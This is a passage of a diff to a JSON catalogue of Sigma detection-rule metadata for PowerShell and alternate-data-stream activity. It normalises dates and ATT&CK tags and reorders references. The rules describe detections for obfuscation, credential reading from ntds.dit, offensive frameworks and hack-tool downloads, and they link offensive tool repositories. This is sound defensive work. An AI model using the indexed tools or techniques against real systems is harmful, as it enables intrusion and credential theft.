"Nikita Nazarov, oscd.community", - "creation_date": "2019/10/08", + "creation_date": "2019-10-08", "falsepositive": [ "Unknown" ], @@ -77636,7 +77742,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_rundll32.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -77665,7 +77771,7 @@ "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/08", + "creation_date": "2020-10-08", "falsepositive": [ "Unknown" ], @@ -77678,7 +77784,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_mhsta.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -77707,7 +77813,7 @@ "description": "Adversaries may attempt to find domain-level groups and permission settings.\nThe knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n", "meta": { "author": "frack113", - "creation_date": "2021/12/15", + "creation_date": "2021-12-15", "falsepositive": [ "Administrator script" ], @@ -77740,7 +77846,7 @@ "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/09", + "creation_date": "2020-10-09", "falsepositive": [ "Unknown" ], @@ -77753,7 +77859,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_clip.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -77782,7 +77888,7 @@ "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/08/11", + "creation_date": "2019-08-11", "falsepositive": [ "Programs using PowerShell directly without invocation of a dedicated interpreter", "MSP Detection Searcher", @@ -77817,7 +77923,7 @@ "description": "Detects usage of the \"Import-Module\" cmdlet to load the \"Microsoft.ActiveDirectory.Management.dl\" DLL. Which is often used by attackers to perform AD enumeration.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), frack113", - "creation_date": "2023/01/22", + "creation_date": "2023-01-22", "falsepositive": [ "Legitimate use of the library for administrative activity" ], @@ -77826,9 +77932,9 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://twitter.com/cyb3rops/status/1617108657166061568?s=20", - "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges", "https://github.com/samratashok/ADModule", + "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges", + "https://twitter.com/cyb3rops/status/1617108657166061568?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_active_directory_module_dll_import.yml" ], "tags": [ @@ -77844,7 +77950,7 @@ "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", "meta": { "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/18", + "creation_date": "2020-10-18", "falsepositive": [ "Unknown" ], @@ -77857,7 +77963,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_rundll.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -77886,7 +77992,7 @@ "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/13", + "creation_date": "2020-10-13", "falsepositive": [ "Unknown" ], @@ -77899,7 +78005,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_clip.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -77928,7 +78034,7 @@ "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and\nto identify potential systems of interest for Lateral Movement.\nNetworks often contain shared network drives and folders that enable users to access file directories on various systems across a network.\n", "meta": { "author": "frack113", - "creation_date": "2021/12/15", + "creation_date": "2021-12-15", "falsepositive": [ "Administrator script" ], @@ -77961,7 +78067,7 @@ "description": "The Reset-ComputerMachinePassword cmdlet changes the computer account password that the computers use to authenticate to the domain controllers in the domain.\nYou can use it to reset the password of the local computer.\n", "meta": { "author": "frack113", - "creation_date": "2022/02/21", + "creation_date": "2022-02-21", "falsepositive": [ "Administrator PowerShell scripts" ], @@ -77975,7 +78081,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_reset_computermachinepassword.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1078" ] }, @@ -77995,7 +78101,7 @@ "description": "Detects the execution of Evil-WinRM via PowerShell Module logs by leveraging the hardcoded strings inside the utility.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/02/25", + "creation_date": "2024-02-25", "falsepositive": [ "Unknown" ], @@ -78009,7 +78115,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_hktl_evil_winrm_execution.yml" ], "tags": [ - "attack.lateral_movement" + "attack.lateral-movement" ] }, "uuid": "9fe55ea2-4cd6-4491-8a54-dd6871651b51", @@ -78019,7 +78125,7 @@ "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", "meta": { "author": "frack113", - "creation_date": "2021/12/10", + "creation_date": "2021-12-10", "falsepositive": [ "Unknown" ], @@ -78052,7 +78158,7 @@ "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", "meta": { "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/18", + "creation_date": "2020-10-18", "falsepositive": [ "Unknown" ], @@ -78065,7 +78171,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_compress.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -78094,7 +78200,7 @@ "description": "A General detection for specific decompress commands in PowerShell logs. This could be an adversary decompressing files.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", + "creation_date": "2020-05-02", "falsepositive": [ "Unknown" ], @@ -78103,12 +78209,12 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/4.A.3_09F29912-8E93-461E-9E89-3F06F6763383.md", "https://github.com/OTRF/detection-hackathon-apt29/issues/8", + "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/4.A.3_09F29912-8E93-461E-9E89-3F06F6763383.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_decompress_commands.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1140" ] }, @@ -78128,7 +78234,7 @@ "description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n", "meta": { "author": "frack113", - "creation_date": "2021/12/12", + "creation_date": "2021-12-12", "falsepositive": [ "Administrator script" ], @@ -78161,7 +78267,7 @@ "description": "Detects the execution of known offensive powershell scripts used for exploitation or reconnaissance", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/23", + "creation_date": "2023-01-23", "falsepositive": [ "Unknown" ], @@ -78170,23 +78276,23 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://github.com/PowerShellMafia/PowerSploit", "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", - "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", - "https://github.com/DarkCoderSc/PowerRunAsSystem/", - "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", - "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", - "https://github.com/NetSPI/PowerUpSQL", - "https://github.com/CsEnox/EventViewer-UACBypass", - "https://github.com/S3cur3Th1sSh1t/WinPwn", "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", - "https://github.com/samratashok/nishang", "https://github.com/nettitude/Invoke-PowerThIEf", - "https://github.com/besimorhino/powercat", + "https://github.com/samratashok/nishang", + "https://github.com/S3cur3Th1sSh1t/WinPwn", "https://github.com/HarmJ0y/DAMP", - "https://github.com/AlsidOfficial/WSUSpendu/", - "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/", + "https://github.com/DarkCoderSc/PowerRunAsSystem/", + "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", + "https://github.com/CsEnox/EventViewer-UACBypass", + "https://github.com/NetSPI/PowerUpSQL", + "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", + "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", + "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/", + "https://github.com/AlsidOfficial/WSUSpendu/", + "https://github.com/PowerShellMafia/PowerSploit", + "https://github.com/besimorhino/powercat", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_exploit_scripts.yml" ], "tags": [ @@ -78210,7 +78316,7 @@ "description": "Detects suspicious invocation of the Get-ADDBAccount script that reads from a ntds.dit file and may be used to get access to credentials without using any credential dumpers", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/03/16", + "creation_date": "2022-03-16", "falsepositive": [ "Unknown" ], @@ -78224,7 +78330,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_get_addbaccount.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.003" ] }, @@ -78244,7 +78350,7 @@ "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", - "creation_date": "2019/10/08", + "creation_date": "2019-10-08", "falsepositive": [ "Unknown" ], @@ -78257,7 +78363,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_rundll32.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -78286,7 +78392,7 @@ "description": "Detects PowerShell module creation where the module Contents are set to \"function Get-VMRemoteFXPhysicalVideoAdapter\". This could be a sign of potential abuse of the \"RemoteFXvGPUDisablement.exe\" binary which is known to be vulnerable to module load-order hijacking.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), frack113", - "creation_date": "2021/07/13", + "creation_date": "2021-07-13", "falsepositive": [ "Unknown" ], @@ -78300,7 +78406,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_remotefxvgpudisablement_abuse.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -78320,7 +78426,7 @@ "description": "Detects Commandlet names from well-known PowerShell exploitation frameworks", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/20", + "creation_date": "2023-01-20", "falsepositive": [ "Unknown" ], @@ -78329,24 +78435,24 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1", + "https://github.com/calebstewart/CVE-2021-1675", "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", - "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", - "https://github.com/adrecon/ADRecon", - "https://github.com/Kevin-Robertson/Powermad", - "https://github.com/DarkCoderSc/PowerRunAsSystem/", - "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", + "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", + "https://github.com/samratashok/nishang", "https://adsecurity.org/?p=2921", + "https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1", + "https://github.com/HarmJ0y/DAMP", + "https://github.com/DarkCoderSc/PowerRunAsSystem/", "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", - "https://github.com/samratashok/nishang", - "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", - "https://github.com/adrecon/AzureADRecon", + "https://github.com/adrecon/ADRecon", + "https://github.com/Kevin-Robertson/Powermad", + "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", + "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", "https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html", - "https://github.com/besimorhino/powercat", - "https://github.com/HarmJ0y/DAMP", - "https://github.com/calebstewart/CVE-2021-1675", "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/", - "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", + "https://github.com/adrecon/AzureADRecon", + "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", + "https://github.com/besimorhino/powercat", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_malicious_commandlets.yml" ], "tags": [ @@ -78427,7 +78533,7 @@ "description": "Detects suspicious PowerShell download command", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/03/05", + "creation_date": "2017-03-05", "falsepositive": [ "PowerShell scripts that download content from the Internet" ], @@ -78461,7 +78567,7 @@ "description": "Detects suspicious PowerShell invocation command parameters", "meta": { "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro", - "creation_date": "2017/03/05", + "creation_date": "2017-03-05", "falsepositive": [ "Unknown" ], @@ -78494,7 +78600,7 @@ "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/15", + "creation_date": "2020-10-15", "falsepositive": [ "Unknown" ], @@ -78507,7 +78613,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_var.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -78536,7 +78642,7 @@ "description": "Detects remote PowerShell sessions", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g, Tim Shelton", - "creation_date": "2019/08/10", + "creation_date": "2019-08-10", "falsepositive": [ "Legitimate use remote PowerShell sessions" ], @@ -78551,7 +78657,7 @@ "tags": [ "attack.execution", "attack.t1059.001", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.006" ] }, @@ -78578,7 +78684,7 @@ "description": "Detects Obfuscated Powershell via Stdin in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/12", + "creation_date": "2020-10-12", "falsepositive": [ "Unknown" ], @@ -78591,7 +78697,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_stdin.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -78620,7 +78726,7 @@ "description": "Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.", "meta": { "author": "Ensar Şamil, @sblmsrsn, OSCD Community", - "creation_date": "2020/10/05", + "creation_date": "2020-10-05", "falsepositive": [ "App-V clients" ], @@ -78633,7 +78739,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_syncappvpublishingserver_exe.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -78653,7 +78759,7 @@ "description": "Detects suspicious PowerShell invocation command parameters", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/03/12", + "creation_date": "2017-03-12", "falsepositive": [ "Very special / sneaky PowerShell scripts" ], @@ -78686,7 +78792,7 @@ "description": "focuses on trivial artifacts observed in variants of prevalent offensive ps1 payloads, including\nCobalt Strike Beacon, PoshC2, Powerview, Letmein, Empire, Powersploit, and other attack payloads\nthat often undergo minimal changes by attackers due to bad opsec.\n", "meta": { "author": "ok @securonix invrep_de, oscd.community", - "creation_date": "2020/10/09", + "creation_date": "2020-10-09", "falsepositive": [ "Moderate-to-low; Despite the shorter length/lower entropy for some of these, because of high specificity, fp appears to be fairly limited in many environments." ], @@ -78695,9 +78801,9 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/", "https://www.mdeditor.tw/pl/pgRt", "https://labs.sentinelone.com/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/", + "https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_bad_opsec_artifacts.yml" ], "tags": [ @@ -78721,7 +78827,7 @@ "description": "Detects PowerShell scripts that make use of the \"Compress-Archive\" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration.\nAn adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), frack113", - "creation_date": "2021/07/20", + "creation_date": "2021-07-20", "falsepositive": [ "Unknown" ], @@ -78730,8 +78836,8 @@ "logsource.category": "ps_module", "logsource.product": "windows", "refs": [ - "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", + "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_zip_compress.yml" ], "tags": [ @@ -78755,7 +78861,7 @@ "description": "Detects keywords that could indicate clearing PowerShell history", "meta": { "author": "Ilyas Ochkov, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Legitimate PowerShell scripts" ], @@ -78768,7 +78874,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_clear_powershell_history.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.003" ] }, @@ -78788,7 +78894,7 @@ "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", "meta": { "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/13", + "creation_date": "2020-10-13", "falsepositive": [ "Unknown" ], @@ -78801,7 +78907,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_var.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -78830,7 +78936,7 @@ "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block cited in the reference section below", "meta": { "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", - "creation_date": "2019/11/08", + "creation_date": "2019-11-08", "falsepositive": [ "Unknown" ], @@ -78843,7 +78949,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_obfuscated_iex.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -78872,7 +78978,7 @@ "description": "Detects Obfuscated use of stdin to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/15", + "creation_date": "2020-10-15", "falsepositive": [ "Unknown" ], @@ -78885,7 +78991,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_stdin.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -78914,7 +79020,7 @@ "description": "A General detection for the Get-Clipboard commands in PowerShell logs. This could be an adversary capturing clipboard contents.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", + "creation_date": "2020-05-02", "falsepositive": [ "Unknown" ], @@ -78948,7 +79054,7 @@ "description": "Detects the download of a file with a potentially suspicious extension from a .zip top level domain.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2023/05/18", + "creation_date": "2023-05-18", "falsepositive": [ "Legitimate file downloads from a websites and web services that uses the \".zip\" top level domain." ], @@ -78957,12 +79063,12 @@ "logsource.category": "create_stream_hash", "logsource.product": "windows", "refs": [ - "https://twitter.com/cyb3rops/status/1659175181695287297", "https://fabian-voith.de/2020/06/25/sysmon-v11-1-reads-alternate-data-streams/", + "https://twitter.com/cyb3rops/status/1659175181695287297", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_zip_tld_download.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "0bb4bbeb-fe52-4044-b40c-430a04577ebe", @@ -78972,7 +79078,7 @@ "description": "Detects the download of suspicious file type from a well-known file and paste sharing domain", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/08/24", + "creation_date": "2022-08-24", "falsepositive": [ "Unknown" ], @@ -78981,13 +79087,13 @@ "logsource.category": "create_stream_hash", "logsource.product": "windows", "refs": [ - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015", "https://www.cisa.gov/uscert/ncas/alerts/aa22-321a", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015", "https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_file_sharing_domains_download_unusual_extension.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.s0139", "attack.t1564.004" ] @@ -79008,7 +79114,7 @@ "description": "Detects the creation of a named file stream with the imphash of a well-known hack tool", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/08/24", + "creation_date": "2022-08-24", "falsepositive": [ "Unknown" ], @@ -79017,21 +79123,21 @@ "logsource.category": "create_stream_hash", "logsource.product": "windows", "refs": [ - "https://github.com/fortra/nanodump", - "https://github.com/xuanxuan0/DripLoader", - "https://github.com/codewhitesec/HandleKatz", - "https://github.com/gentilkiwi/mimikatz", - "https://github.com/antonioCoco/RoguePotato", - "https://github.com/topotam/PetitPotam", "https://www.tarasco.org/security/pwdump_7/", + "https://github.com/outflanknl/Dumpert", "https://github.com/ohpe/juicy-potato", + "https://github.com/topotam/PetitPotam", + "https://github.com/gentilkiwi/mimikatz", + "https://github.com/xuanxuan0/DripLoader", + "https://github.com/fortra/nanodump", "https://github.com/hfiref0x/UACME", - "https://github.com/outflanknl/Dumpert", + "https://github.com/antonioCoco/RoguePotato", "https://github.com/wavestone-cdt/EDRSandblast", + "https://github.com/codewhitesec/HandleKatz", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_hktl_generic_download.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.s0139", "attack.t1564.004" ] @@ -79052,7 +79158,7 @@ "description": "Detects potential suspicious winget package installation from a suspicious source.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/04/18", + "creation_date": "2023-04-18", "falsepositive": [ "Unknown" ], @@ -79065,7 +79171,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_winget_susp_package_source.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence" ] }, @@ -79076,7 +79182,7 @@ "description": "Detects the creation of a suspicious ADS (Alternate Data Stream) file by software other than browsers", "meta": { "author": "frack113", - "creation_date": "2022/10/22", + "creation_date": "2022-10-22", "falsepositive": [ "Other legitimate browsers not currently included in the filter (please add them)", "Legitimate downloads via scripting or command-line tools (Investigate to determine if it's legitimate)" @@ -79090,7 +79196,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_creation_internet_file.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "573df571-a223-43bc-846e-3f98da481eca", @@ -79100,7 +79206,7 @@ "description": "Detects the creation of an ADS (Alternate Data Stream) that contains an executable by looking at a non-empty Imphash", "meta": { "author": "Florian Roth (Nextron Systems), @0xrawsec", - "creation_date": "2018/06/03", + "creation_date": "2018-06-03", "falsepositive": [ "This rule isn't looking for any particular binary characteristics. As legitimate installers and programs were seen embedding hidden binaries in their ADS. Some false positives are expected from browser processes and similar." ], @@ -79113,7 +79219,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_ads_executable.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.s0139", "attack.t1564.004" ] @@ -79134,7 +79240,7 @@ "description": "Exports the target Registry key and hides it in the specified alternate data stream.", "meta": { "author": "Oddvar Moe, Sander Wiebing, oscd.community", - "creation_date": "2020/10/07", + "creation_date": "2020-10-07", "falsepositive": [ "Unknown" ], @@ -79143,12 +79249,12 @@ "logsource.category": "create_stream_hash", "logsource.product": "windows", "refs": [ - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_regedit_export_to_ads.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.004" ] }, @@ -79168,7 +79274,7 @@ "description": "Detects the download of suspicious file type from a well-known file and paste sharing domain", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/08/24", + "creation_date": "2022-08-24", "falsepositive": [ "Some false positives might occur with binaries download via Github" ], @@ -79177,14 +79283,14 @@ "logsource.category": "create_stream_hash", "logsource.product": "windows", "refs": [ - "https://fabian-voith.de/2020/06/25/sysmon-v11-1-reads-alternate-data-streams/", - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015", "https://www.cisa.gov/uscert/ncas/alerts/aa22-321a", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015", "https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/", + "https://fabian-voith.de/2020/06/25/sysmon-v11-1-reads-alternate-data-streams/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_file_sharing_domains_download_susp_extension.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.s0139", "attack.t1564.004" ] @@ -79205,7 +79311,7 @@ "description": "Detects the download of suspicious file type from URLs with IP", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Florian Roth (Nextron Systems)", - "creation_date": "2022/09/07", + "creation_date": "2022-09-07", "falsepositive": [ "Unknown" ], @@ -79214,12 +79320,12 @@ "logsource.category": "create_stream_hash", "logsource.product": "windows", "refs": [ - "https://labs.withsecure.com/publications/detecting-onenote-abuse", "https://github.com/trustedsec/SysmonCommunityGuide/blob/adcdfee20999f422b974c8d4149bf4c361237db7/chapters/file-stream-creation-hash.md", + "https://labs.withsecure.com/publications/detecting-onenote-abuse", 